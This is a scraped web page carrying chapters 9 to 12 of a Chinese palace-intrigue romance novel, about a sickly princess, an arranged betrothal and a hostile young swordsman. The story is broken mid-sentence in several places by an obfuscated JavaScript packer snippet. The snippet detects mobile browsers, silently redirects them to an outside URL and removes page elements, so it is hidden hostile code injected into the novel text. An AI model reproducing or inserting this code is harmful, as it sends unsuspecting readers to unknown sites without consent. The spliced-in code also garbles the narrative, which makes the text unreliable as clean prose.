颜舜华半路醒了,被许鹤鸣和阿佩轮流背着,她搂着许鹤鸣的脖子转了一下头,就见季少渊一行人正跟在他们身后。 少年迈着两条长腿走在最前面,一抬头,目光和颜舜华对上。 两人都面无表情,不约而同地移开目光。 回到古寺时天已经黑了,颜舜华梳洗后倒头就睡,连夏嬷嬷煮的夜宵都没吃。 她睡到正午起床,睁开眼就问夏嬷嬷:“许鹤鸣呢?” 夏嬷嬷说道:“在旁边的院子住下了,和公主就隔着一垛墙。” 颜溪玉下了床,说道:“阿佩,搬个凳子放墙边。” 阿佩把凳子放在墙角,扶着颜舜华踩上去,颜舜华扒着墙,朝院子里看去。 许家两兄弟正在院子里下棋,颜舜华随手扔了个石子,石子落在地上,两兄弟都转过头。 看见墙上探出的脑袋,许鹤鸣立即笑起来:“舜华!” 颜舜华笑了笑,许鹤鸣微微红了脸,站在墙边说道:“快下来,摔了怎么办?” “摔不了,有阿佩扶着呢。”颜舜华笑眯眯地看着十八岁的许鹤鸣,“鹤鸣哥哥,这次来有没有带什么好吃的。” “带了带了!”许鹤鸣转身就跑,一溜烟跑到屋子里,又一溜烟抱着一堆东西跑过来,高举着递给颜舜华。 颜舜华趴在墙上拿起一个油纸袋闻了闻,看向许鹤鸣:“是话梅啊。” “怕你吃药苦,”许鹤鸣又递过来一个纸袋,“还有山楂糕和海棠果干。” 许鹤鸣一包又一包的递过来,颜舜华一包又一包接过来,苹果干、李子干、酸枣蜜饯、 酸杏干......都是颜舜华爱吃的零嘴,她讨厌甜腻,就喜欢吃些酸甜开胃的。 在梁玄疏远她的这些日子里,旧时玩伴也纷纷与她疏远,只有许鹤鸣一如既往。 颜舜华把这些零嘴递给夏嬷嬷和阿佩,又问道:“你怎么有空来这啊?” 许鹤鸣咧嘴笑着,露出一口白牙:“父亲的生辰快到了,想打几只狐狸给他做大氅,想到你也在这,就顺便来看看你,玉妃娘娘和太子殿下也托我们带了东西,还有思弦也给你带了东西。” 说着,他又一溜烟跑进屋子里,又拿了一堆东西跑出来。 梁玄送了一些人参和补品,李思弦送了几件衣裳,颜溪玉送过来一些话本子和几本疏通河道的古籍。 许鹤鸣是个话痨,一说起话来就停不住,颜舜华一字一句认真听着。 “夫子说我的字太秀气,没有男儿气概,我最近在新换了字帖,想写出像你一样的好字。” 颜舜华说道:“那夫子胡说,你是最有男儿气概的人,别听他瞎说,我想把字写秀气些还写不成的,难不成我看起来很有男儿气概么?” “可我喜欢你的字,”许鹤鸣眼珠亮亮的,他长得俊,一双棕色眼睛像小狗,总是湿乎乎亮晶晶的看人,“你只是身弱,文学见识不输男儿,你看得那些治水的书,我看几页就头晕。” 颜舜华又说道:“你要是喜欢,我写个字帖给你,你练字的时候看几眼。” “可你还生着病呢。” 颜舜华浑不在意:“我什么时候不生病。” 许鹤鸣挠挠头:“那我就却之不恭了,舜华写的字帖,我必将珍藏,我最近还养了两只兔子,等你回宫了,我送给你玩。” 颜舜华笑得眯起眼睛:“哇,你还养了兔子?” 许鹤鸣看着她的笑,不禁一阵脸热,“还有一只猫,是一只白肚皮的狸花,翻墙进来的,天天上树爬墙,不是抓我养的蛐蛐就是抓我养的鸟,自从这猫溜进我院子,麻雀都不敢往这飞了。” 颜舜华托着腮,看着他微红的脸:“如果你不喜欢,那就送我啊,正好可以与雪团做伴儿。” 天气热,许鹤鸣站着的地方没有树荫,与颜舜华说着话时已经出了一身汗。 颜舜华看着他额头上的汗珠,朝他招招手:“你再走过来一点。” 许鹤鸣往前走了两步,颜舜华又说道:“你再站高点。” 许鹤鸣踮起脚。 颜舜华手里拿着一条丁香色的帕子,从围墙上伸出手,擦着他额头上的汗。 许鹤鸣愣住了,脑中一片空白。 那帕子带着淡淡的香气,被一只纤细的手握着,轻轻擦拭着他得额头。 宽大的藕荷色纱袖里露出一截白生生的手臂,在他眼前晃来晃去,他脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白瓷碗里盛着酸梅汤,颜舜华端起碗喝了一大口,清凉酸甜的酸梅汤漫过口腔,她舒服的长叹一口气。 阿佩咕咚咕咚喝下一大碗,“太好喝了,怪不得公主喜欢,奴婢能喝一桶!” 夏嬷嬷被逗笑了:“这东西要多少都是有的,许二公子又送了一大包乌梅呢。” 阿佩说道:“许二公子是不错,可太子让咱们公主去北狄和亲,若皇上真采纳了太子的提议,咱们公主该怎么办啊?” 夏嬷嬷露出一个精明的笑:“你这丫头愁什么,咱们还能坐以待毙么,公主不是让人去北狄了么。” “派人去北狄能有什么用啊?” 颜舜爱笑笑不说话,阿佩武功极高,就是脑子简单了些,没那些弯弯绕绕的,不如夏嬷嬷精明老成。 夏嬷嬷弯起嘴角,“北狄那边的人不清楚咱们公主,那咱们就得找个人好好告诉他们。” 颜舜华将碗中的酸梅汤一饮而尽,餍足地说道:“一个非皇室血脉又随时会死的病弱公主能有什么用啊,北狄这次可得擦亮了眼睛才行。” 过了三次,一只白鸽从窗子里飞了过来。 颜舜华抓住胖胖的鸽子,拆下它腿上的信筒。 看前一行字是她唇角露出笑容,看到后两行,她开始蹙起眉头。 阿佩好奇:“公主,信中写了什么呀?” 颜舜华揉揉额头,把信纸递给她。 阿佩看完后发出一声惊叫:“什么!皇上怎么给公主和许大公子指婚了!” 颜舜华揉揉眉心,倒也没觉得太意外。 10. 第 10 章 心中略微有些烦闷,颜舜华一口气喝光了两碗酸梅汤。 夏嬷嬷在小院里支起躺椅,让颜舜华晒背升阳气,颜舜华趴了一会,心中还是不太舒服,一连翻了好几个身。 这回倒不用去北狄和亲了,这景帝没事乱点什么鸳鸯谱啊,她又不喜欢许鹤停,许鹤停也不喜欢她,凑在一起不就是怨侣么。 但仔细一想,其实是否喜欢也并不重要,她这身子骨是与男人做不成真夫妻的,除非哪天得了什么神药。 可是这一嫁过去,她就成了许鹤鸣的嫂子,颜舜华翻来覆去,总觉得心里很不舒服。 她爬起来吃了颗话梅,刚含了含,墙外忽然传来少女柔软动听的嗓音,“少渊哥哥,听说你前几日吃了有毒的菌子,我特意熬了鸡汤给你补身体。” 自打从林子里回来后,颜舜华全身酸痛,就没出过这小院。 季少渊倒是天天都来这小院附近晒太阳,他一来,李四小姐也跟着来,不是送糕点就是送鸡汤,浮屠古寺院墙高,见不着人却能听着声,颜舜华躺在院子里晒太阳时,每天都能听到李四小姐的哭声。 颜舜华派了人去查那少年的底细。 少年名叫季少渊,年方十六,和颜舜华同岁,是龙门镖局的伙计,这次来雾隐山是受了委托,专门来这找千年人参,再将这人参护送到北阙。 罗青羽私下里和颜舜华提过一嘴,说他们的箱子里有不少金银珠宝,说什么护送千年人参,应该是为了掩人耳目。 颜舜华说道:“也有可能是既要护送千年人参,又要护送金银珠宝,还是送到北阙的,算算时间,下个月就是北阙六皇子的生辰。” 北阙六皇子北渊,天生神力勇武非凡,但面容丑陋怪异,脾性古怪非常,不常出现在众人面前,出征打仗时也总以金甲覆面,甚少有人见其真容。 大梁使臣出使北阙时曾见过这位六皇子,说观其身影,乃玉树临风轩然霞举,但他一转过脸,脸颊肥胖眼小如缝,面容实在是怪异至极,让这位大梁使臣好生失望。 当时颜舜华听到后还笑了半天,脑子里勾勒出一张肿胀的猪脸。 季少渊原来是个跑镖的,江湖少年,怪不得脾气这么差,一言不合就喊打喊杀的。 墙外的李四小姐又开始哭了。 “少渊哥哥,你为什么总对我这么凶,是我长得不好看么?” 墙外传来季少渊冷冷的声音:“我来这不是为了谈情说爱的。” 李四小姐哭着说道:“雾隐山这么大,寺里这么多院子,你为什么天天跑到这里来,是不是看上了院里的那个病秧子!” 颜舜华从躺椅上坐起来,吐出了嘴里含着的话梅。 季少渊的声音依旧冷冷的,带着几许不耐烦:“胡言乱语。” “那你为什么天天来这,她来的时候人还没醒过来呢,你就天天跑来这守着,我院前的风景也很好,柳树的树冠也高大,阴凉也正好,你为什么不天天来到我院前守着。” 李四小姐哭得越来越伤心,“你就是想看她,你就是惦记她,她有什么好?” 颜舜华对阿佩说道:“去拿碟瓜子来。” 阿佩捂嘴笑,还真拿出一碟五香瓜子递到颜舜华手边。 夏嬷嬷怕她伤了指甲,赶紧给她剥了几个,颜舜华一边吃着瓜子仁一边倒在躺椅上笑。 李四小姐满腹委屈说个不停:“你不喜欢娇艳的女子么,还是就喜欢那种瓷人,就喜欢她那种柔柔弱弱 一碰就碎的矫情样子?” 颜舜华摸了摸自己的脸,又把手伸到眼前看了看,她肤白,且是那种病态至极的苍白,日头一照,整个人好像透明似的。 颜舜华小声:“我什么时候矫情了?” 阿佩和夏嬷嬷又在一旁捂嘴笑。 颜舜华也挺佩服这位李四小姐屡败屡战百折不挠的精神,这个叫季少渊的跑镖少年也真是死脑筋,攀上了护国公府的女儿还愁没有好前程,就算做不了人家的正头夫君,哪怕做个小情人也比跑镖好多了。 毕竟这李四小姐一看就舍得给男人花钱。 颜舜华津津有味地听,殊不知墙外的季少渊已经黑了脸。 季少渊躺在吊床上,摘掉盖在脸上的斗笠,烦躁地看着眼前哭得梨花带雨的李四小姐。 他从未被哪个女子如此痴缠过,简直令人头疼,看她一滴滴的往下掉眼泪,他更是觉得这个女子不可理喻。 “你日日都是这般无事可做么?” 他冷不丁开了口,李思年不禁一愣,抽噎了几声,对上少年的金色眼珠,她红了脸,讷讷说道:“我一个闺阁女儿能做什么事,无非是做些女红,再弹奏一会乐器。” 季少渊的语气越发不耐烦,皱眉说道:“多看看书。” “看书做什么,我又不考科举。” 季少渊压抑着脾气:“那你去做女红。” 李思年摇头:“不想做。” 季少渊再次压抑着脾气:“那你去弹奏乐器。” 李思年又摇头:“不想谈,可若是你想听,我这就取琵琶来。” 季少渊冷冷说道:“你脑中空空,举止轻浮,容貌艳俗,不自矜,不自爱,仗着自己略有姿色就到我面前献媚,真是恬不知耻,令人作呕。” 饶是颜舜华,也觉得这话对一个仰慕他的少女来说实在是太过歹毒了。 颜舜华低声说道:“至于对一个慕少艾的女子撂这样的狠话么,也太不知道怜香惜玉了。” 季少渊的耳朵动了动。 若非他的听觉远超常人,还真听不见这院中打抱不平的细碎低语。 这李四小姐好像中了邪似的,院子里打抱不平的那个更不是好相与的主儿。 季少渊冷笑一声,不顾那李四小姐苍白的脸和摇摇欲坠的身躯,飞身跳进了院子。 颜舜华正在看好戏,冷不丁就见着少年从天而降,跟只矫健的大猫似的跳进她院子里,她拿着瓜子仁的手顿了顿,瞪圆了一双眼看他:“你来我院子里干什么啊?” 夏嬷嬷怒道:“大胆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020654|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光天化日竟然闯入闺阁女子的院中,还不速速退下!” 这少年来无影去无踪,武功深不可测,颜舜华带来的这些侍卫根本挡不住他。 季少渊抱着双臂,一双眼直直的看向颜舜华,冷冷道:“解药。” 看来还记得林中诓骗他的事。 吃了那么多毒菌子,愣是命大挺了过来,发了一通癫,竟然半点事也没有,也不知是哪里来的凶神 颜舜华乐了:“不会真像李四小姐说的那样,你真是为我而来的吧?” 季少渊抿唇,一双深邃的眉眼往下压,金色的眼珠里满是暴戾的凶性。 察觉到来者不善,夏嬷嬷和阿佩双双挡在颜舜华身前,颜舜华说道:“哎呀,你又生气了,我现在没有解药,过几日我让人带过来再给你。” 季少渊冷笑,神色越发不善。 颜舜华神色无辜,摊手说道:“我这次可真没诓你,像我这样心肠歹毒的人,身上只带毒药,哪会带治病救人的解药啊。” 谁知道给了他所谓的解药之后,这个恶童会不会说翻脸就翻脸,还是想要她的命。 颜舜华绞尽脑汁也想不起什么时候惹了这么一个浑人,毒也毒不死,杀也杀不掉,像一个扎手的刺猬,令她无从着手。 季少渊说道:“三日之后,如果再没有解药,我就拧断你一只胳膊,再剁掉你的手。” 颜舜华说道:“三日之后我一定把解药给你,但我还是想弄清楚,咱们两个素昧平生,你对我的敌意从何而来?” 季少渊总不能说一切的起源都是一场梦,这种怪力乱神之事几人会信。 看着少女瓷白的脸颊,他顿了顿,说道:“你这种祸害,人人得而诛之。” 颜舜华指指自己:“什么叫我这种祸害,我祸害了谁,我能祸害谁,我现在还在这寺里养病呢,还人人得而诛之,我什么时候犯了这样的滔天大罪?” 她目光灼灼,看向他说道:“你倒是给我列出几条来,好叫我甘心受死。” 季少渊哑口无言。 颜舜和嗤笑:“我看你就是恃强凌弱,那日不过是调戏了你两句,你就记恨至此,心眼简直比针尖还小。” 她眼珠一转,忽然勾起手指蹭了蹭自己的下巴,上上下下把他打量了一遍,神色愈发微妙,一脸古怪地看着他:“刚刚我可听到李四小姐说了,我昏睡的时候你也日日守在我院子前,你是不是对我一见钟情,这些日子以来的种种作为,都是为了吸引我的注意,好让我把目光放在你的身上?” 季少渊:“......” 他简直被这一番无耻的论调气笑了。 “世上千娇百媚的女子多如过江之鲫,你当自己是什么人间绝色,也配让我一见钟情?” 颜舜华挑眉,不屑地笑了一声:“我从来不看他们说什么,我只看他们做什么,你这些日子的种种举动,不就是印证了我的猜测吗。” 她坐在躺椅上,挑起雪白的下巴:“如果是这样的话,你还真是别出心裁啊。” 11. 第 11 章 瞅着她那傲慢不可一世的德行,季少渊一口恶气哽在胸口,上不来也下不去,瞅着那张粉扑子似的一张小脸,怎么看怎么可恶。 他咬牙说道:“我需要引起你的注意,你少自以为是了!” 颜舜华盘腿坐在躺椅上,拢了拢身上丁香色的罩衫,把手伸进瓷白小蝶里拿起一个瓜子,一边对着气急败坏的少年叹气一边掰开了一个瓜子,敷衍点头:“行了行了,你们男人都这样,一个个的,都是这么口是心非,喜欢一个姑娘就总想欺负她。” 她歪着脑袋,黑白分明的眼看着他,覆着一层淡淡血色的唇不紧不慢地吐出两个字:“幼稚。” 她声音又软又甜,说出的每一句话都能把人七个半死。 “我幼稚?” 季少渊看着她脑袋上那两个尖尖的双螺髻,真想把她的头盖骨掀起来看看里面到底装着些什么东西,为什么能总是一脸理所当然地说出如此匪夷所思的话。 季少渊倚着墙,几片九重紫花瓣落在他的脑袋上,他顶着一脑袋花冷笑:“你长得还不如那个讨人厌的李四小姐呢,我会喜欢你这样姿色鄙薄的女子?少在这自作多情了!” 颜舜华又掰开一个瓜子,怡然自得地摸摸脸:“我博闻强识过目不忘,上知天文下知地理,至于长相嘛,那是各花入各眼,我觉得自己长得挺好看的,天底下的任何一个男人喜欢我都不奇怪。” 她张开嘴唇,咬住那颗瓜子,懒洋洋地倚在身后的丁香色绣墩上,朝着季少渊挑挑眉毛:“说吧,是想与我谈情说爱,还是想与我花前月下,反正家里订下的婚事我也不喜欢,咱们俩就苟合一段时间,在这荒山古寺里寻个乐子,哪一天劳燕分飞了,我也不会亏待你的,保你后半生衣食无忧。” 季少渊眼皮一跳,看怪物似的看她:“你怎能说出如此荒淫无耻的话?” “什么叫我荒淫无耻,说的好像你光明磊落似的,我不是好姑娘,你也不是什么好东西,咱们俩这叫蛇鼠一窝,狼狈为奸,沆瀣一气,臭味相投。” 少年气红了脸,睫下那颗红痣更是灼灼逼人,生了一层叫人心惊的艳色,颜舜华愣了愣,喉结滚动了一下。 看她这副德行,简直是个色中女恶鬼,与那李四小姐别无二致,季少渊更是气不打一处来,“谁跟你蛇鼠一窝狼狈为奸沆瀣一气臭味相投,你以为我和你一样都是以色示人的东西吗?” 颜舜华斜倚着绣墩,从鼻子里冷冷地哼了一声:“什么叫我和你一样,我倒是想以色示人,可我哪里有你这样的好颜色,你这样艳骨风流的美少年才是真正的人间尤物啊。” 说完,她居然还托着腮,朝着他眨了一下左眼,长长的睫毛忽闪忽闪的,差点气得他心脏骤停。 季少渊:“.......” 他张了张殷红的嘴唇,胸脯一番起伏,压着深邃的眉眼看着梦中宿敌那张瓷白瓷白的小脸,那脸上的皮肤又嫩又薄,阳光底下连细小的淡青色血管都隐约可见。 看起来弱不禁风不堪一击,可是这脸皮厚如城墙,刀凿不穿,斧劈不断,令人瞠目结舌。 他气恼地瞪了她一眼,又跳出墙走了。 颜舜华倚着绣墩,又自己扒了一个瓜子,这次不凑巧,扒开瓜子壳,指甲也断了,夏嬷嬷顿时心疼的不行,“好不容易才养起的指甲就这么断了。” 颜舜华抖了抖手,只好放下瓜子拿了一个话梅,她刚含下话梅,阿佩就适时拿过来一碗药,颜舜华喝下药,缓了一会儿后盯着季少渊方才站立的方向,怒骂一声:“不是,他有病吧!” 阿佩说道:“那解药的事儿?” 颜舜华呼出一口气,把脚伸在地上踢了踢树根下的土,“随便加点药材和泥巴,搓几个泥丸子给他。” 颜舜华虽然说加点泥吧,但想起这少年比狗还灵的鼻子,就让阿佩去厨房抠了点锅底灰,再配上几味随意碾碎的药材掺着黄连搓成丸子。 颜舜华乐滋滋地搓着药丸,脸上的笑就没停下来过。 夏嬷嬷把搓好的药丸装进匣子里,忽然提起了许加两兄弟,“这几日他们进山打猎,恐怕还不知道皇上给公主指婚的事。” 颜舜华拿着布巾擦了擦手,垂下了眼睛,她的双眼皮前窄后宽,垂下眼睛时弧度稍显冷漠,她的神色和声音都淡了下去,轻轻叹了口气:“也许是给许家的一个敲打。” 手握兵权的武将既是帝王的心腹也是帝王的心腹大患,护国公主的女儿们个个生的娇艳,儿子却不太争气,没有能征善战的武将,文学方面也不出彩。 许将军就不一样了,家里的两个儿子都能文能武,就算许鹤鸣故意藏拙,但景帝多疑好猜忌,又怎么会放过削弱许家的机会。 把颜舜华嫁过去,正好断了许家与其他臣子联姻的机会。 这么做也没错,可是景帝的这帝王心术实在不合时宜,眼下三足鼎立,北阙势强,善于统兵作战的将领与珍宝无异。 大梁缺少将星,也是大梁历代皇帝重文轻武不断削弱武将的结果,前世出现一个武状元向岳,已经算是颜舜华的意外之喜了。 颜舜华摸了摸额头,心里再次涌上一阵迷茫。 要再种一批蓖麻吗? 再一次将景帝毒死,然后再毒死梁玄,梁玄死后再毒死梁珏,然后再一次登基称帝,登基称帝之后再一次病逝,北阙那位雄才大略的帝王再一次率领铁骑踏破大梁,二十万大军再一次被坑杀。 同样的事情再重复一遍又有什么意义呢? 指甲缝里的药渣已经被擦干净了,指尖上还带着黄连的苦味。 北阙那位冷血嗜杀,但颜舜华知道,那二十万降军非杀不可。 她重病那两年,大梁大旱,北阙洪灾,北阙与大梁都没有太多的粮食了,根本养不起这二十万降军。 北阙渊帝打下大梁,是为了将内部矛盾转为外部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020655|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛盾,大梁灭国是因为天灾人祸气数已尽,是颜舜华强行给大梁续命十年。 有些人总以为重活一世就可以统揽全局,然而这世界上没有什么事情是一成不变的,每一分每一秒都有各种无形的因果在悄悄缭绕着,唯一不变的只有变化。 颜舜华捏捏眉心:“许家的飞鸽是最好的,许家兄弟应该已经知道了。” 许家兄弟确实知道了。 许鹤鸣猎了两只红狐和一只白狐,颜舜华体弱畏寒又不喜欢过于明艳的颜色,正好用白狐皮给她做一件披风。 两人扛着猎物回到浮屠古寺的那间小院里,许鹤鸣还没来得及去找颜舜华,就见一只白鸽从窗子飞了进来,站在窗台边踱步。 “这不是家里的飞鸽吗,又带了什么信过来?” 他取下白鸽腿上的信筒,拿出里面的信看了一眼,原本轻快明亮的神情突然变得黯然僵硬,而后失魂落魄的转头,看向坐在桌边喝茶的兄长。 许鹤停察觉他神情不对,于是放下茶盏接过他手中信笺,将那信笺来回看了几遍后,他的手微微抖了一下,看着旁边失魂落魄的弟弟,一时间心中也说不清是什么滋味。 万万没想到,景帝居然给他和颜舜华指了婚。 他心中五味杂陈,脑中浮现出颜舜华的脸。 雪白雪白的脸颊,漆黑漆黑的眼睛,像一尊雪白的瓷胎,也像个过分精致的人偶。 六岁那年,她自己跳进了湖里,诬陷瑾嫔推她,替她母后玉妃争宠。 七岁那年,她用嘉柔公主的簪子划伤手背,又把簪子扔在嘉柔公主脚下,诬陷嘉柔公主要用簪子划花她的脸。 八岁那年,皇上将一批精美的花灯赏赐给他们这些小孩子,只因为没有得到自己最想要的那个,她偷偷放了一把火把所有人的灯笼都烧了。 九岁那年,他们这些小孩子聚在一起往池子里扔铜钱,谁扔的远便能得到皇帝的奖赏,颜舜华把铜钱绑在一只鸟儿身上。 对待景帝和梁玄,她又是另一个样子,笑的甜甜的,一脸天真无邪的,她那么柔弱,又长了一张人畜无害的脸,只要稍作可怜,她说什么别人都会相信的。 相信她的委屈,相信她的眼泪,相信她的不安。 她诬陷瑾嫔被他撞见时,她拽着他的衣袖哭,说她害怕,说瑾嫔可恨,说她只是不想让母妃伤心。 诬陷嘉柔公主被他撞见时,她已经驾轻就熟,长长的睫毛一扇,眼泪就噼里啪啦掉下来,说嘉柔公主骂她是野种,她实在太生气了。 他撞见她烧花灯,她说她只是贪玩,一切都是她无心之失。 她从小便展露出远超同龄人的心机和聪慧,还有恶毒,还总是为自己的恶毒找理由。 许鹤鸣一点都不喜欢她。 捡到她给太子梁玄写得那封信笺之后,他就更不喜欢她了。 心悦太子,勾着他弟弟,现在又要嫁给他。 12. 第 12 章 院子里的门被敲响了,阿佩打开门,门外是穿着一身孔雀蓝袍子的许鹤停。 许家孪生兄弟的容貌几乎一模一样,但许鹤停冷淡,面如皓月白壁,爱穿冷色衣裳。 许鹤停天天像个皮猴子似的上蹿下跳,肤色更深一些,是颜舜华很喜欢的麦色,他性情活泼,喜欢艳丽色彩,衣裳不是大红就是大绿,就连铠甲也要金光闪闪的。 颜舜华坐在院子里喂麻雀,看着麻雀叼着一粒稻谷蹦来蹦去,眼角的余光朝着门口一扫,看着穿着一身孔雀蓝的许鹤停,还以为是许鹤鸣来了。 门外的许鹤停撞上她的眼神,抬脚走进院中,颜舜华扔掉手稻谷,颇为纳罕地看着他:“哎呀,今日是什么风,居然把许大公子给吹来了。” 颜舜华穿着一身发旧的白衣,脑袋上依旧梳着双螺髻,头上一丁点的珠花首饰也没有,瓷白的一张脸微微发着光,没有涂抹一点脂粉,看着比同龄的女子还要小个两三岁。 许鹤停说道:“昨日家里派飞鸽过来传信,皇上已经为你我指了婚。” 他顿了顿,不动声色地观察颜舜华脸上的神色。 颜舜华拍拍手,点头:“好一出乱点鸳鸯谱,不知许大公子心中作何感想。” 许鹤停说道:“你我虽然性情不和,可皇上已经下了旨,日后我会......” 不等他说完,颜舜华就轻笑一声:“你不用这样板着个脸捏着鼻子认下这门婚事,也许某一天这个婚约就不作数了,你我也能恢复自由身,早日重觅良缘。” 藏在袖袍中的双手紧握成拳,许鹤停皱眉:“你就这么不想嫁给我?” 颜舜华摊手:“难道你就很想娶我吗?” 她平心静气地说道:“你觉得我心机叵测,我觉得你为人冷淡,咱们两个谁也瞧不上谁,不过嫁给你总比去和亲好,若日后真成了婚,我也不会干涉你的私事,你若在外面养女人,我也睁一只眼闭一只眼,虽然我不姓梁,但毕竟是个公主,该给的面子还是要给。” 许鹤停说道:“原来你是这样想的。” 颜舜华微笑起来:“是不是比你想象中的要大度许多。” 许鹤停不语,转身就走。 孔雀蓝袍子在风中划出一道低落的弧线,颜舜华说道:“他还穿个孔雀蓝,因为自己在孔雀开屏呢,难道指了婚我就要对他俯首称臣吗。” 其实以前两人的关系并没有这么僵冷,颜舜华几次耍心机都被他撞见,他也替她遮掩了。 可自从他无意间看到了颜舜华写给梁玄的信,他便对颜舜华厌恶非常,时常冷言恶语,颜舜华也不想与他呛声,干脆不理他。 毕竟喜欢梁玄这件事也确实不太光彩,无论如何,这都是他名义上的兄长。 以前年少不懂事,居然喜欢梁玄这种人,现在一回想可真是丢脸。 她对着墙壁站了一会儿,忽然察觉一道强烈的视线,颜舜华转过头,铺满墙檐的九重紫下站着一个肩宽腿长的季少渊,黑色斗笠挡住半张脸,唇角不善地垂下来,靴子上的两排金扣闪闪发光。 他手里拿着一把弓箭,肩上还背着一个箭筒,大有颜舜华交不出解药就让她万箭穿心的架势。 看了眼绷紧身躯的阿佩和夏嬷嬷,颜舜华淡定地和他打着招呼: “你来了,要不要喝杯茶,我这的茶叶是最好的。” 季少渊依旧抱着双臂,一脸冷酷桀骜的样子,惜字如金地吐出两个字:“解药。” 颜舜华:“阿佩,去装匣子的解药拿来。” 阿佩拿着匣子从房间出来,颜舜华把木匣递给他。 季少渊打开匣子,一股苦味扑面而来,呛得他微微别开脸,看着里面垒着的一堆整齐的黑色药丸。 颜舜华说道:“一天两粒,这是七日的量,需要连服一个月,我这药材不够,只能先做这么多?” 季少渊瞥她一眼,讥讽道:“是药材不够还是不想做。” 细细打量,颜舜华才发现他生着一双内勾外翘的桃花眼,冷漠的金色眼珠嵌在里面,硬生生将风流多情全部扼杀,只剩下不可一世的傲慢和冷漠。 一个跑镖的,仗着自己武功好就自视甚高,也不知天天傲慢个什么劲。 颜舜华心里腹诽,面上却不愿意得罪这种亡命之徒,毕竟她金枝玉叶千金贵体,何必与这种有今天没明天的江湖草莽一般见识。 于是她语气柔和,好言好语地说道:“是真没了,这些都还是从我这省出来的。” 季少渊拿起一颗药丸细细打量。 这药丸散发着无比浓郁的苦味,季少渊用鼻子一闻就知道是她在使坏,故意往里面掺了过量的黄连。 他伸手捏住颜舜华的脸,捏得那唇色淡淡的两瓣嘴张开,以迅雷不及掩耳之势将手里的药丸扔进她嘴里。 无法形容的可怕苦味在嘴里爆开,苦的颜舜华舌根发麻,整个人不由自主地打了几个摆子,眼泪唰地一下就冒了出来。 阿佩递水,夏嬷嬷拿蜜饯,好不容易才把那苦味压下去,颜舜华皱着一张脸看季少渊,恨不得剥了他的皮做稻草人。 季少渊淡淡说道:“看来无毒。” 颜舜华咬牙:“良药苦口利于病,我只吃一颗,你要吃一个月。” 她指着院子门:“出去!” 季少渊看她一眼,没有走门,像只大鸟似的从墙上飞出去了。 他的轻功和旁人不同,显得格外轻。 颜舜华又喝了口水,沉思了一会,转头问阿佩和夏嬷嬷:“他的武功是不是太高了些?” 夏嬷嬷说道:“龙门镖局有不少能人异士,奴婢早些年混江湖时也曾遇过武功绝顶的高手,可这少年也太年轻了。” 阿佩哼了一声,十分不满:“看他这行事作风,一身的江湖习气,妥妥的恶霸悍匪。” 颜舜华漱漱口,看着墙根下看着的一株三角梅。 山上就这点好,到处都是些花啊草啊的,花草树木都有自己的习性,皇宫里那些名贵的花朵栽到这山里来肯定是活不长久的。 那少年是杂草里都能活的野花,她一朵娇贵的名花又何必和一个江湖少年争这一时之气。 颜舜华又往嘴里塞了个蜜饯,回屋里看书去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020656|178502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季少渊拿着一匣子药去找罗青羽。 罗青羽一听这药丸是颜舜华搓的,就知道这丫头肯定没安好心。 人心都是偏的,她像模像样地检查了会儿,笑道:“确实是清热解毒的药。” 季少渊听她这么说也就放下心,回到房里吃了一颗。 药丸一入口,那股可怕苦味让他的五脏六腑都在这一瞬间翻涌起来,胃部更是一阵猛烈的痉挛,他忍了又忍,终于还是忍不住,哇的一口吐了出来。 孟玖赶紧递茶。 六殿下幼年时流落江湖,又从小习得一身武艺,不是那种娇生惯养之人,粗茶淡粉也能吃,锦衣玉食也不见多喜欢,这样刚强的顶好男儿,偏偏不能吃苦。 苦瓜什么的,碰一下就能呕出来,就是生病了吃药,御医开的药也大多是甜的。 “这么苦的药还得一天吃两颗,真是委屈殿下了。” 季少渊闷不吭声地咽下茶,默默地嚼着蜜饯,半袋蜜饯下了肚,他问孟玖:“那大梁公主什么时候回宫。” 孟玖说道:“罗神医想让她在山里住上几个月,但她自己急着回宫,说是七日后就走。” “七日后......” 孟玖看着他的神色,“属下知道殿下从小自由惯了,不喜欢待在皇宫,讨厌宫里的阴谋算计,但殿下是皇子,又得皇上看重,总是不回去肯定是不成的。” 季少渊的生母是早逝的季贵妃,生产时被人陷害,生出的孩子被人换成了一个畸形的死胎。 